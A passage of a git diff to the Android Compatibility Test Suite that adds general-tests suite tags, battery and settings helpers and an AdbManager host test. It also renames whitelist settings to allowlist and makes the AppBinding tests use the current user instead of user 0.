-    public abstract void disableInteractivity();
-
-    public void setOnDoneListener(Runnable listener) {
-        mOnDoneListener = listener;
-    }
-
-    public String getFailureDetails() {
-        return mFailureDetails;
-    }
-
-    protected void done() {
-        TvAppVerifierActivity.setPassState(mInstructionView, mHasPassed);
-        if (mOnDoneListener != null) {
-            mOnDoneListener.run();
-        }
-    }
-
-    protected StandardSubjectBuilder getAsserter() {
-        return mAsserter;
-    }
-
-    protected void appendInfoDetails(String infoFormat, Object... args) {
-        String info = String.format(infoFormat, args);
-        String details = String.format("Info: %s", info);
-        appendDetails(details);
-    }
-
-    protected void appendFailureDetails(String failure) {
-        String details = String.format("Failure: %s", failure);
-        appendDetails(details);
-
-        appendMessageToView(mInstructionView, details);
-    }
-
-    protected void appendDetails(String details) {
-        if (mFailureDetails == null) {
-            mFailureDetails = new String();
-        }
-        mFailureDetails += details + "\n";
-    }
-
-    private static void appendMessageToView(View item, String message) {
-        TextView instructions = item.findViewById(R.id.instructions);
-        instructions.setText(instructions.getText() + "\n" + message);
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
index 0281252..4da4d18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
@@ -19,6 +19,7 @@
 import android.view.View;
 
 import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestStepBase;
 import com.android.cts.verifier.tv.TvAppVerifierActivity;
 
 /**
@@ -30,8 +31,8 @@
     private View noButton;
 
     /**
-     * Constructs a test step containing human instructions for a manual test and two buttons -
-     * Yes and No.
+     * Constructs a test step containing human instructions for a manual test and two buttons - Yes
+     * and No.
      *
      * @param context The test activity which this test step is part of.
      * @param instructionText The text of the test instruction visible to the user.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index c150132..9220001 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -71,6 +71,7 @@
         setInfoResources(
                 R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
 
+        setPassFailButtonClickListeners();
         mStatus = (TextView) findViewById(R.id.status);
         mProgress = (ProgressBar) findViewById(R.id.progress_bar);
         mStatus.setText(R.string.usb_accessory_test_step1);
diff --git a/apps/CtsVerifierInstantApp/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
index cc39927..045581d 100644
--- a/apps/CtsVerifierInstantApp/Android.bp
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -21,6 +21,7 @@
     sdk_version: "current",
     test_suites: [
         "cts",
+        "general-tests",
         "sts",
     ],
 }
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
index f438b87..85a2f6d 100644
--- a/apps/ForceStopHelperApp/Android.bp
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -25,3 +25,8 @@
         "general-tests",
     ],
 }
+
+java_library {
+    name: "CtsForceStopHelper-constants",
+    srcs: ["src/com/android/cts/forcestophelper/Constants.java"],
+}
diff --git a/apps/MainlineModuleDetector/Android.mk b/apps/MainlineModuleDetector/Android.mk
index 5b8e316..6202ac7 100644
--- a/apps/MainlineModuleDetector/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -29,6 +29,6 @@
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/apps/OomCatcher/Android.bp b/apps/OomCatcher/Android.bp
index 97d8180..477d8f3 100644
--- a/apps/OomCatcher/Android.bp
+++ b/apps/OomCatcher/Android.bp
@@ -21,6 +21,7 @@
     sdk_version: "current",
     test_suites: [
         "cts",
+        "general-tests",
         "sts",
     ],
 }
diff --git a/apps/hotspot/Android.mk b/apps/hotspot/Android.mk
index 134734e..ce3b1ca1 100644
--- a/apps/hotspot/Android.mk
+++ b/apps/hotspot/Android.mk
@@ -13,6 +13,6 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4
 
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
index 955321a..7d8feae 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -83,6 +83,15 @@
     }
 
     /**
+     * Turn off the Battery saver manually.
+     */
+    public static void runDumpsysBatterySaverOff() {
+        if (isBatterySaverSupported() && getPowerManager().isPowerSaveMode()) {
+            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
+        }
+    }
+
+    /**
      * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
      * executed before enabling BS.
      */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
index 14f8285..03d4a50 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -197,4 +197,12 @@
     public static String getSecureSetting(String key) {
         return SystemUtil.runShellCommand("settings --user current get secure " + key).trim();
     }
+
+    /**
+     * Get a global setting for the given user. Trims ending new line.
+     */
+    public static String getSecureSettingAsUser(int userId, String key) {
+        return SystemUtil.runShellCommand(
+                String.format("settings --user %d get secure %s", userId, key)).trim();
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java
new file mode 100644
index 0000000..198e602
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.SystemProperties;
+
+/**
+ * Provides utilities to deal with user status.
+ */
+public final class UserUtils {
+
+    private static final String TAG = UserUtils.class.getSimpleName();
+    private static final String SYS_PROP_HEADLESS_SYSTEM_USER = "ro.fw.mu.headless_system_user";
+
+    private UserUtils() {
+        throw new AssertionError("Should not be instantiated");
+    }
+
+    /**
+     * Tells if the device is in headless system user mode.
+     */
+    public static boolean isHeadlessSystemUserMode() {
+        return SystemProperties.getBoolean(SYS_PROP_HEADLESS_SYSTEM_USER, false);
+    }
+}
diff --git a/helpers/default/src/com/android/cts/helpers/aosp/DefaultCtsPrintHelper.java b/helpers/default/src/com/android/cts/helpers/aosp/DefaultCtsPrintHelper.java
index e55e1f0..a6120b2 100644
--- a/helpers/default/src/com/android/cts/helpers/aosp/DefaultCtsPrintHelper.java
+++ b/helpers/default/src/com/android/cts/helpers/aosp/DefaultCtsPrintHelper.java
@@ -20,6 +20,7 @@
 import android.app.UiAutomation;
 import android.os.RemoteException;
 
+import android.os.SystemClock;
 import android.platform.helpers.exceptions.TestHelperException;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -39,6 +40,7 @@
     private static final String LOG_TAG = DefaultCtsPrintHelper.class.getSimpleName();
 
     protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
+    private static final long GET_UIAUTOMATION_TIMEOUT_MS = 60000;
 
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
@@ -47,7 +49,18 @@
     public DefaultCtsPrintHelper(Instrumentation instrumentation) {
         mInstrumentation = instrumentation;
         mDevice = UiDevice.getInstance(mInstrumentation);
-        mAutomation = mInstrumentation.getUiAutomation();
+
+        long start = SystemClock.uptimeMillis();
+        while (SystemClock.uptimeMillis() - start < GET_UIAUTOMATION_TIMEOUT_MS) {
+            UiAutomation ui = mInstrumentation.getUiAutomation();
+            if (ui != null) {
+                mAutomation = ui;
+                break;
+            }
+        }
+        if (mAutomation == null) {
+            throw new AssertionError("Failed to get UiAutomation");
+        }
     }
 
     protected void dumpWindowHierarchy() throws TestHelperException {
diff --git a/hostsidetests/adbmanager/Android.bp b/hostsidetests/adbmanager/Android.bp
new file mode 100644
index 0000000..54616e5
--- /dev/null
+++ b/hostsidetests/adbmanager/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsAdbManagerHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: ["cts", "general-tests"],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed"
+    ],
+}
diff --git a/hostsidetests/adbmanager/AndroidTest.xml b/hostsidetests/adbmanager/AndroidTest.xml
new file mode 100644
index 0000000..2194a4c
--- /dev/null
+++ b/hostsidetests/adbmanager/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS AdbManager host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsAdbManagerHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/adbmanager/OWNERS b/hostsidetests/adbmanager/OWNERS
new file mode 100644
index 0000000..e102aca
--- /dev/null
+++ b/hostsidetests/adbmanager/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 1352
+joshuaduong@google.com
+mpgroover@google.com
+include platform/system/core:/janitors/OWNERS
diff --git a/hostsidetests/adbmanager/src/android/adbmanager/cts/AdbManagerHostDeviceTest.java b/hostsidetests/adbmanager/src/android/adbmanager/cts/AdbManagerHostDeviceTest.java
new file mode 100644
index 0000000..474d518
--- /dev/null
+++ b/hostsidetests/adbmanager/src/android/adbmanager/cts/AdbManagerHostDeviceTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.adbmanager.cts;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.CommandResult;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests the AdbManager System APIs via shell commands.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AdbManagerHostDeviceTest extends BaseHostJUnit4Test {
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+    private static final String FEATURE_CAMERA_ANY = "android.hardware.camera.any";
+
+    private boolean hasFeature(String feature) throws Exception {
+        CommandResult result = getDevice().executeShellV2Command("pm has-feature " + feature);
+        return Boolean.parseBoolean(result.getStdout().trim());
+    }
+
+    @Test
+    @CddTest(requirement="6.1/C-1-1")
+    public void test_isadbWifiSupported() throws Exception {
+        boolean expected = hasFeature(FEATURE_WIFI);
+
+        CommandResult result = getDevice().executeShellV2Command("cmd adb is-wifi-supported");
+
+        Assert.assertTrue(new Integer(0).equals(result.getExitCode()));
+        Assert.assertEquals(expected, Boolean.parseBoolean(result.getStdout().trim()));
+    }
+
+    @Test
+    @CddTest(requirement="6.1/C-1-2")
+    public void test_isadbWifiQrSupported() throws Exception {
+        boolean expected = hasFeature(FEATURE_WIFI) && hasFeature(FEATURE_CAMERA_ANY);
+
+        CommandResult result = getDevice().executeShellV2Command("cmd adb is-wifi-qr-supported");
+
+        Assert.assertTrue(new Integer(0).equals(result.getExitCode()));
+        Assert.assertEquals(expected, Boolean.parseBoolean(result.getStdout().trim()));
+    }
+}
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index 41c0932..bd52d3a 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -21,6 +21,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 8f673c5..15e8e41 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -23,6 +23,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 7165728..9bb55fa 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -30,7 +30,7 @@
     static final String SETTINGS_GLOBAL_ALL_USE_ANGLE = "angle_gl_driver_all_angle";
     static final String SETTINGS_GLOBAL_DRIVER_PKGS = "angle_gl_driver_selection_pkgs";
     static final String SETTINGS_GLOBAL_DRIVER_VALUES = "angle_gl_driver_selection_values";
-    static final String SETTINGS_GLOBAL_WHITELIST = "angle_whitelist";
+    static final String SETTINGS_GLOBAL_ALLOWLIST = "angle_allowlist";
     static final String SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX = "show_angle_in_use_dialog_box";
 
     // System Properties
@@ -98,7 +98,7 @@
         setGlobalSetting(device, SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "0");
         setGlobalSetting(device, SETTINGS_GLOBAL_DRIVER_PKGS, "\"\"");
         setGlobalSetting(device, SETTINGS_GLOBAL_DRIVER_VALUES, "\"\"");
-        setGlobalSetting(device, SETTINGS_GLOBAL_WHITELIST, "\"\"");
+        setGlobalSetting(device, SETTINGS_GLOBAL_ALLOWLIST, "\"\"");
 
         // Properties
         setProperty(device, PROPERTY_TEMP_RULES_FILE, "\"\"");
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 7d3fccf..326cb7a 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -42,7 +42,7 @@
     private final String TAG = this.getClass().getSimpleName();
 
     private File mRulesFile;
-    private String mWhiteList;
+    private String mAllowList;
 
     // Rules Files
     private static final String RULES_FILE_EMPTY = "emptyRules.json";
@@ -61,32 +61,32 @@
         setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH);
     }
 
-    private void setAndValidateAngleDevOptionWhitelist(String whiteList) throws Exception {
-        // SETTINGS_GLOBAL_WHITELIST
-        setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST, whiteList);
+    private void setAndValidateAngleDevOptionAllowlist(String allowList) throws Exception {
+        // SETTINGS_GLOBAL_ALLOWLIST
+        setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST, allowList);
 
-        String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+        String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
         Assert.assertEquals(
-            "Developer option '" + SETTINGS_GLOBAL_WHITELIST +
+            "Developer option '" + SETTINGS_GLOBAL_ALLOWLIST +
                 "' was not set correctly: '" + devOption + "'",
-            whiteList, devOption);
+            allowList, devOption);
     }
 
     @Before
     public void setUp() throws Exception {
         clearSettings(getDevice());
 
-        mWhiteList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+        mAllowList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
 
-        final String whitelist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
-        setAndValidateAngleDevOptionWhitelist(whitelist);
+        final String allowlist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
+        setAndValidateAngleDevOptionAllowlist(allowlist);
     }
 
     @After
     public void tearDown() throws Exception {
         clearSettings(getDevice());
 
-        setAndValidateAngleDevOptionWhitelist(mWhiteList);
+        setAndValidateAngleDevOptionAllowlist(mAllowList);
 
         FileUtil.deleteFile(mRulesFile);
     }
diff --git a/hostsidetests/appbinding/app/src/com/android/cts/appbinding/app/MyEnabler.java b/hostsidetests/appbinding/app/src/com/android/cts/appbinding/app/MyEnabler.java
index 0a55b96..48bd9c1 100644
--- a/hostsidetests/appbinding/app/src/com/android/cts/appbinding/app/MyEnabler.java
+++ b/hostsidetests/appbinding/app/src/com/android/cts/appbinding/app/MyEnabler.java
@@ -40,7 +40,8 @@
         context.getPackageManager().setComponentEnabledSetting(cn,
                 PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
 
-        Log.w(TAG, "Enabled " + cn);
+
+        Log.w(TAG, "Enabled " + cn + " on user " + context.getUserId());
     }
 
     @Test
diff --git a/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java b/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java
index 7d2705f..34dfd0e 100755
--- a/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java
+++ b/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java
@@ -27,6 +27,7 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
 import org.junit.Before;
@@ -61,8 +62,7 @@
     private static final String SERVICE_2 = "com.android.cts.appbinding.app.MyService2";
 
     private IBuildInfo mCtsBuild;
-
-    private static final int USER_SYSTEM = 0;
+    private int mCurrentUserId;
 
     private static final int DEFAULT_TIMEOUT_SEC = 30;
 
@@ -213,6 +213,8 @@
         updateConstants(",");
 
         uninstallTestApps(true);
+
+        mCurrentUserId = getDevice().getCurrentUser();
     }
 
     @After
@@ -345,7 +347,7 @@
             return;
         }
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
     }
 
     /**
@@ -358,7 +360,7 @@
             return;
         }
 
-        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, USER_SYSTEM);
+        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, mCurrentUserId);
     }
 
     /**
@@ -371,7 +373,7 @@
             return;
         }
 
-        installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, mCurrentUserId);
     }
 
     /**
@@ -384,7 +386,7 @@
             return;
         }
 
-        installAndCheckNotBound(APK_3, PACKAGE_A, USER_SYSTEM,
+        installAndCheckNotBound(APK_3, PACKAGE_A, mCurrentUserId,
                 "must be protected with android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE");
     }
 
@@ -398,7 +400,7 @@
             return;
         }
 
-        installAndCheckNotBound(APK_4, PACKAGE_A, USER_SYSTEM, "More than one");
+        installAndCheckNotBound(APK_4, PACKAGE_A, mCurrentUserId, "More than one");
     }
 
     /**
@@ -411,7 +413,7 @@
             return;
         }
 
-        installAndCheckNotBound(APK_5, PACKAGE_A, USER_SYSTEM,
+        installAndCheckNotBound(APK_5, PACKAGE_A, mCurrentUserId,
                 "Service with android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE not found");
     }
 
@@ -425,7 +427,7 @@
             return;
         }
 
-        installAndCheckNotBound(APK_6, PACKAGE_A, USER_SYSTEM,
+        installAndCheckNotBound(APK_6, PACKAGE_A, mCurrentUserId,
                 "Service must not run on the main process");
     }
 
@@ -440,17 +442,19 @@
         }
 
         // Replace existing package without uninstalling.
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
-        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, USER_SYSTEM);
-        installAndCheckNotBound(APK_3, PACKAGE_A, USER_SYSTEM,
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
+        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, mCurrentUserId);
+        installAndCheckNotBound(APK_3, PACKAGE_A, mCurrentUserId,
                 "must be protected with android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE");
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
-        installAndCheckNotBound(APK_4, PACKAGE_A, USER_SYSTEM, "More than one");
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
+        installAndCheckNotBound(APK_4, PACKAGE_A, mCurrentUserId, "More than one");
     }
 
     private void enableTargetService(boolean enable) throws DeviceNotAvailableException {
-        runDeviceTests(PACKAGE_A, "com.android.cts.appbinding.app.MyEnabler",
-                enable ? "enableService" : "disableService");
+        runDeviceTests(new DeviceTestRunOptions(PACKAGE_A)
+                .setTestClassName("com.android.cts.appbinding.app.MyEnabler")
+                .setTestMethodName(enable ? "enableService" : "disableService")
+                .setUserId(mCurrentUserId));
     }
 
     /**
@@ -463,7 +467,7 @@
             return;
         }
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
 
         // Disable the component and now it should be unbound.
 
@@ -471,7 +475,7 @@
 
         Thread.sleep(2); // Technically not needed, but allow the system to handle the broadcast.
 
-        checkNotBoundWithError(PACKAGE_A, USER_SYSTEM,
+        checkNotBoundWithError(PACKAGE_A, mCurrentUserId,
                 "Service with android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE not found");
 
         // Enable the component and now it should be bound.
@@ -479,7 +483,7 @@
 
         Thread.sleep(2); // Technically not needed, but allow the system to handle the broadcast.
 
-        checkBound(PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        checkBound(PACKAGE_A, SERVICE_1, mCurrentUserId);
     }
 
     /**
@@ -493,7 +497,7 @@
         }
 
         // The service is disabled by default, so not bound.
-        installAndCheckNotBound(APK_7, PACKAGE_A, USER_SYSTEM,
+        installAndCheckNotBound(APK_7, PACKAGE_A, mCurrentUserId,
                 "Service with android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE not found");
 
         // Enable the component and now it should be bound.
@@ -501,7 +505,7 @@
 
         Thread.sleep(2); // Technically not needed, but allow the system to handle the broadcast.
 
-        checkBound(PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        checkBound(PACKAGE_A, SERVICE_1, mCurrentUserId);
 
         // Disable the component and now it should be unbound.
 
@@ -509,7 +513,7 @@
 
         Thread.sleep(2); // Technically not needed, but allow the system to handle the broadcast.
 
-        checkNotBoundWithError(PACKAGE_A, USER_SYSTEM,
+        checkNotBoundWithError(PACKAGE_A, mCurrentUserId,
                 "Service with android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE not found");
     }
 
@@ -524,18 +528,18 @@
         }
 
         // Replace existing package without uninstalling.
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
         getDevice().uninstallPackage(PACKAGE_A);
-        checkPackageNotBound(PACKAGE_A, USER_SYSTEM);
+        checkPackageNotBound(PACKAGE_A, mCurrentUserId);
 
         // Try with different APKs, just to make sure.
-        installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, mCurrentUserId);
         getDevice().uninstallPackage(PACKAGE_B);
-        checkPackageNotBound(PACKAGE_B, USER_SYSTEM);
+        checkPackageNotBound(PACKAGE_B, mCurrentUserId);
 
-        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, USER_SYSTEM);
+        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, mCurrentUserId);
         getDevice().uninstallPackage(PACKAGE_A);
-        checkPackageNotBound(PACKAGE_A, USER_SYSTEM);
+        checkPackageNotBound(PACKAGE_A, mCurrentUserId);
     }
 
     /**
@@ -548,9 +552,9 @@
             return;
         }
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
-        installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, USER_SYSTEM);
-        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
+        installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, mCurrentUserId);
+        installAndCheckBound(APK_2, PACKAGE_A, SERVICE_2, mCurrentUserId);
     }
 
     private void assertUserHasNoConnection(int userId) throws Throwable {
@@ -579,7 +583,7 @@
             return;
         }
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
 
         final int userId = getDevice().createUser("test-user");
         try {
@@ -589,10 +593,10 @@
             installAndCheckBound(APK_B, PACKAGE_B, SERVICE_1, userId);
 
             // Package A should still be bound on user-0.
-            checkBound(PACKAGE_A, SERVICE_1, USER_SYSTEM);
+            checkBound(PACKAGE_A, SERVICE_1, mCurrentUserId);
 
             // Replace the app on the primary user with an invalid one.
-            installAndCheckNotBound(APK_3, PACKAGE_A, USER_SYSTEM,
+            installAndCheckNotBound(APK_3, PACKAGE_A, mCurrentUserId,
                     "must be protected with android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE");
 
             // Secondary user should still have a valid connection.
@@ -636,12 +640,12 @@
                 + ",service_reconnect_max_backoff_sec=1000"
                 + ",service_stable_connection_threshold_sec=10");
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
 
         // Ensure the expected status.
         runWithRetries(DEFAULT_TIMEOUT_SEC, () -> {
             runCommand("dumpsys app_binding -s",
-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,bound,connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,bound,connected"
                     + ",\\#con=1,\\#dis=0,\\#died=0,backoff=5000");
         });
 
@@ -652,7 +656,7 @@
         // In this case, because binder-died isn't called, so backoff won't increase.
         runWithRetries(DEFAULT_TIMEOUT_SEC, () -> {
             runCommand("dumpsys app_binding -s",
-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,bound,connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,bound,connected"
                     + ",\\#con=2,\\#dis=1,\\#died=0,backoff=5000");
         });
 
@@ -662,7 +666,7 @@
         // Force-stop causes a disconnect and a binder-died. Then it doubles the backoff.
         runWithRetries(DEFAULT_TIMEOUT_SEC, () -> {
             runCommand("dumpsys app_binding -s",
